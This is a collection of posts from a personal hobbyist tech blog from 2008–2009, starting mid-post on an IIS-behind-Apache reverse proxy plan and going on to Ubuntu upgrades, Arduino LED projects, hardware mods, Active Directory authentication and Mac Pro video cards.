The plan was to alter each virtual host defined in IIS to not bind to the typical HTTP/HTTPS ports (80 & 443), but instead have it use arbitrary ports (was to be 8080 & 4433). With that in place, I could then run Apache normally. In order to get traffic to hit the right sites as hosted by IIS, the apache server would have it’s own virtual host definitions for each IIS site. In those definitions, there would be a Reverse Proxy config to get Apache to pass the traffic internally over to the arbitrary ports.

iPhone Endowed Life Begins

Wed, 20 May 2009 11:12:39 +0000

I’ve finally pitched my brilliantly ancient Blackberry (deserves an award for surviving this long). I decided the only way for me to go was to get an iPhone. It’s now been nearly a week and I must say this platform is a must have for any computery geeky types out there. It makes me antiquated Pocket PC cower in submissive fear and continues to impress and delight me a every turn.

Upgrade Experience with Ubuntu 9.04

Fri, 24 Apr 2009 09:24:25 +0000

Ubuntu Logo

Hello World!

While, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download & install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..

Epic WoW Fail

Wed, 08 Apr 2009 09:33:04 +0000

I was playing WoW the other day with a some friends.. I was playing it on Ubuntu linux (using WINE) and I guess some mystical memory leak decided to creep up and kick my butt. As such, from the WoW side of things I was disconnected while running in Stormwind City.

About 33.53 seconds later, I had managed to login again, but I found myself dead. The afterlife was not what I expected. I had been teleported (via a game bug) to a far away land and lived in a perpetual state of free-fall. It was horrid and more importantly, I couldn’t see a way out. My group had already been waiting for me to run to where they where and this had to happen. Not to worry however, a trusty Game Master came to my rescue. After some BSG banter and laughs the GM used their super-toon powers and transported me to the city of Ironforge (as I was trying to get there in the first place).

Super Mouse Hack

Mon, 16 Mar 2009 21:46:05 +0000

I did this cool mouse mod where I put a wireless card inside of my mouse - I love it because the mouse looks exactly the same as before, except now it has wireless functionality!!! This hack got featured over on Hackaday.com!

Roll on over to the project page for this hack!

Some HypnoOrb Progress

Mon, 02 Mar 2009 20:53:19 +0000

While my latest round of HypnoOrb progress hasn’t yet resulted in another fully functional design, it’s a good step in that direction. I’ve been learning to make good use of Cadsoft’s free version of their PCB design tool called Eagle. At this point I’ve been kind of stuck on getting the path of the wires routed well. The free version of Eagle provides some routing features, but I’m told it’s best to go with some other tools, tools that I’m pretty sure cost the GDP of a small nation, or possibly continent. But fear not, this is a fairly simple board, so I think worst case I should be able to manually route it in a very awesome way…. I hope. Anyway, below’s an image of the latest layout I’ve got…

HypnoOrb Prototype MK2

Fri, 16 Jan 2009 01:32:28 +0000

Arduino Independence

Tue, 13 Jan 2009 00:08:43 +0000

Getting the Arduino Processor to function on a breadboard

The next step in my HypnoOrb project is to figure out how to get the Arduino microprocessor (AKA ATMega168) that makes the whole thing work function with as little hardware as possible. Thanks to this awesome site, I found, I now know what I wasn’t doing right before finding that document. I hope making a reference to that helpful tutorial here will help others find it faster than I did. Have fun!

Behold: The Flash Rat

Sat, 03 Jan 2009 22:00:39 +0000

Here’s a USB Flash drive I created - really just hacked the guts out of a flash drive, soldered on an LED & wires and jammed it in the guts of this ugly stuffed rat I had.

Plexi-Glass based displayed video game brainstorm

Tue, 16 Dec 2008 22:05:34 +0000

Howdy world, so I wanted to share this idea I have about a fun little project that I’m considering involving using little sheets of etched plexi-glass, LEDs, some random switches and some kind of controller (like ATMega168/Arduino) to create a cheap crude super bizarre little game system. Not sure what the game could be, but here’s a video of a little brainstorm. My main inspiration came from here. This also helped give me some good thoughts that led to this.

Synergy Breeze

Tue, 16 Dec 2008 19:01:20 +0000

Here’s a little video I whipped up on account that some people STILL haven’t heard of Synergy.. Check this video out if you too are a bit unclear about what the dealio with Synergy is.

World, meet the HypnoOrb

Wed, 03 Dec 2008 11:44:35 +0000

Using the toys I’ve been enjoying ever so much lately, I’ve managed to really nicely smooth out the programming in my Arduino for my RGB LED. It’s so awesome that I’m given it a name! Meet the HypnoOrb!

At this point I only have the raw prototype, but I’m considering going ahead an making more of them. I have to work out pricing and smooth of some aspects of the design. If you’re interested in getting one, please contact me or post a message here - the more interest I see on this thing, the faster I’ll work at finding an inexpensive means of producing them.

Goofin' Around with 7-Segment Displays & my Arduino

Tue, 02 Dec 2008 10:09:09 +0000

I’ve taken a few little steps forward towards my plans of building some cool stuff I’ve yet to announce. Yesterday I focused on testing out a tutorial I found on the Arduino website regarding driving multiple LEDs via chained shift registers. This setup is pretty cool as it only takes 3 pins off of the arduino (excluding power, which could be easily driven separately). I used the tutorial here to get the potentiometer going.

Arduino/Freeduino Play

Fri, 14 Nov 2008 10:24:18 +0000

Here’s a video I decided to toss up on YouTube just showing some of the results of some of the goofing around I’ve been doing with my Arduino board (it’s actually a Freeduino).

I had a lot of trouble getting the board to work at first, but once I ran it through an ultrasonic cleaner it seemed to smooth out a lot. Though, some times it still has a hard time programming, in which case I can just apply pressure to the FTDI chip and then it’ll program. I’ve tried re-soldering the pins on the FTDI, but that didn’t entirely resolve the issue enough. Not to worry though, it consistently works perfectly enough for me.

Outstanding Walking Robot "Dog"

Tue, 12 Aug 2008 06:42:52 +0000

I can’t believe this machine! Just imagine where this will evolve to in a few years!

Wicked Lightning Strike Video

Tue, 12 Aug 2008 06:23:21 +0000

Found a link to this on MAKE Magazine

OpenMoko Emulator

Sat, 26 Jul 2008 16:32:05 +0000

Hey gang, for those interested, I found on the openmoko website this awesome little file you can download, extract and quickly use to get the OpenMoko firmware to boot up in QEMU. So those who are interested in checking this phone out can get a slight sample of it this way. What I like about it is that I can begin developing for the project without having to own one!

Ubuntu Samba Apache Active Directory Authentication

Wed, 16 Jul 2008 07:16:25 +0000

So I’ve spent some time for something at work figuring out how to get an Ubuntu server to authenticate users with a Windows 2003 Server Active Directory. Using the process I’ve found by combining various sources, my instructions show how to get a machine setup such that users logging in to the shell, accessing a samba share and checking out a website (or sub-directory of one) can all be authenticated using credentials centrally stored in a separate Active Directory server.

Using a Clone PC Video card in a Mac Pro

Sun, 29 Jun 2008 11:47:06 +0000

Howdy World, I seek your input. I want to run a clone PC video card in my 2008 Mac Pro machine. In particular, I was thinking I’d get something as close to the $280.00 Apple provided NVIDIA 8800 GT card as possible. My current first choice is the $180 eVGA e-GeForce 8800 GT.

I expect the potential major problem to be that a clone video card may be unaware of the boot process of a mac machine. I’m speaking with particular respect to EFI. That said, I’m also aware that clone PCs are intended to be able to use EFI instead of BIOS - so I’d expect decent newer video cards to support this.

Cross Over vs. Switched Network performance

Mon, 19 May 2008 18:30:59 +0000

Howdy, so I just changed my setup from having a single ethernet cable running from my mac pro to my file server (using a Netgear gigabit NIC - GA311NAR) to connecting over a DLink Gigabit switch (DGS-1005D).

I have had the understanding that network transfer rates through switching fabric will constrain the transfer rates (I would have thought by means of bandwidth or propagation time) and perhaps they do, but in short my little change over here has shown me that the difference is relatively irrelevant.

Best Case Scenario VNC

Fri, 25 Apr 2008 23:37:30 +0000

Here’s a little video I did up of what’s got to be as good as it’s gonna get over VNC. The Video speaks for itself. Have fun.

Highly exciting (sort of) Nerd Project

Wed, 16 Apr 2008 18:12:53 +0000

This is something I’m working on for school.. Pretty gruesome project, though at times it’s fun..

OSX Automator Tutorial

Thu, 03 Apr 2008 18:36:42 +0000

I’m just learning about Apple’s little scripting-for-nonprogrammers generally referred to as Automator. Below is a youtube video I’ve found that seems like a good basic illustration.